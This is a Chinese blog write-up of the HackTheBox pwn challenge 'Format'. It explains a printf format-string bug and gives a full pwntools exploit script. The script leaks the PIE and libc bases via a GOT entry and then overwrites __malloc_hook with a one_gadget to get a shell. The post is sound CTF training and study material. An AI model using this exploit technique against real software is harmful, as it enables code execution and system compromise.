selph
selph
Published on 2024-11-05 / 32 Visits
0
0

[HTB] Format

前言

该题目提供了一个技巧,在不知道远程libc版本的情况下,如何用格式化字符串漏洞泄露出必要的数据查询版本

今天是刷题第12天,HTB challenge pwn已经完成了40%了

题目情况

Can you hear the echo?

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

逆向分析

void __noreturn echo()
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  while ( 1 )
  {
    fgets(s, 256, stdin);
    printf(s);                                  // 格式化字符串漏洞
  }
}

利用分析

程序开启了Full RELRO,改GOT打法失效了

那就打栈,泄露栈地址,写rop,分次写都行,无限次触发

地址泄露

本地环境下的栈信息:

0: 0x0
1: 0x7f4a834fcb23
2: 0xfbad208b
3: 0x7f4a833f67e2
4: 0x0
5: 0x0
6: 0x2436255452415453
7: 0xa444e4570
8: 0x0
9: 0x0
10: 0x0
11: 0x0
12: 0x0
13: 0x0
14: 0x0
15: 0x0
16: 0x0
17: 0x0
18: 0x0
19: 0x0
20: 0x0
21: 0x7f4a834fd6a0
22: 0x0
23: 0x7f4a833703f5
24: 0x0
25: 0x7f4a834fd6a0
26: 0x0
27: 0x0
28: 0x7f4a834f9600
29: 0x7f4a8336c5ad
30: 0x7f4a834fd6a0
31: 0x7f4a833636e5
32: 0x0
33: 0x7ffee90b6c80
34: 0x7ffee90b6db8
35: 0x56162e2a7284
36: 0x0
37: 0x56162e2a726d
38: 0x0
39: 0x3f564f374d5dfb00

远程环境下的栈信息:

0: 0x0
1: 0x7ffddd0bf1d0
2: 0x7fd075de68d0
3: 0x7fd075b09081
4: 0x7fd075de68c0
5: 0x7fd07600d4c0
6: 0x2436255452415453
7: 0xa444e4570
8: 0x0
9: 0x7fd075df523f
10: 0x0
11: 0x7ffddd0bf340
12: 0x0
13: 0x0
14: 0x0
15: 0x7fd076013710
16: 0x7fd075bac787
17: 0x340
18: 0x7ffddd0bf260
19: 0x7ffddd0bf270
20: 0x7fd076013a98
21: 0x7fd075de5680
22: 0x0
23: 0x7fd075a878a2
24: 0xffffffff
25: 0x7fd075de5680
26: 0x0
27: 0x0
28: 0x7fd075de12a0
29: 0x7fd075a83859
30: 0x7fd075de5680
31: 0x7fd075a7a405
32: 0xd
33: 0x0
34: 0x7ffddd0bf2e0
35: 0x557318c0b0c0
36: 0x7ffddd0bf3e0
37: 0x557318c0b26d
38: 0x7fd075dfa9f0
39: 0x7172fc00449f5400

这里的37是pie地址,后12位偏移相同,用这个泄露pie地址,然后libc因为远程本地版本不一样,难以泄露出数据得到libc基地址

所以这里一个很有趣的思路就是,用pie地址拿到got地址,打印got地址泄露libc,就可以拿到libc databse去查询远程目标的libc版本了:

def fmt_exec(payload):
    sl(payload)
    return rl()[:-1]

fmt = FmtStr(fmt_exec,6)

# leak stack and pie
leakpie = fmt.leak_stack(37)
elf.address = leakpie  -0x126d
success(f"elf.address: {hex(elf.address)}")

# leak libc
payload = b"0000%7$s" + pack(elf.got.printf)
sl(payload)
libcleak = r(10)[4:]
libcleak = unpack(libcleak,"all")
success(f"libcleak: {hex(libcleak)}")
libc.address = libcleak -0x64e80# - libc.sym.printf
#libc.address = libcleak - libc.sym.printf
success(f"libc.address: {hex(libc.address)}")

drop shell

因为栈地址泄露出来的环境也不一样,一个思路是去打栈的返回地址,这里有另一个有趣的思路就是,打__malloc_hook,程序没有调用malloc,但是当我输入过大的内容需要打印的时候,缓冲区可能需要扩大,从而调用了malloc,从而触发malloc hook

向malloc hook写入one_gadget即可:

payload = fmtstr_payload(6, {libc.sym.__malloc_hook: libc.address + 0x4f322})
sl(payload)
fmt_exec(b"%100000c")

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")

def fmt_exec(payload):
    sl(payload)
    return rl()[:-1]

fmt = FmtStr(fmt_exec,6)

# leak stack and pie
leakpie = fmt.leak_stack(37)
elf.address = leakpie  -0x126d
success(f"elf.address: {hex(elf.address)}")

# leak libc
payload = b"0000%7$s" + pack(elf.got.printf)
sl(payload)
libcleak = r(10)[4:]
libcleak = unpack(libcleak,"all")
success(f"libcleak: {hex(libcleak)}")
libc.address = libcleak -0x64e80# - libc.sym.printf
#libc.address = libcleak - libc.sym.printf
success(f"libc.address: {hex(libc.address)}")

payload = fmtstr_payload(6, {libc.sym.__malloc_hook: libc.address + 0x4f322})
sl(payload)
fmt_exec(b"%100000c")

ia()

总结

格式化字符串打全局变量(malloc_hook)

2个有趣的思路:

  1. 远程libc版本未知的情况下,泄露pie,从got泄露地址去libc database查询得到远程libc版本
  2. printf在某些条件下会触发malloc的调用,从而触发malloc hook

参考资料


Comment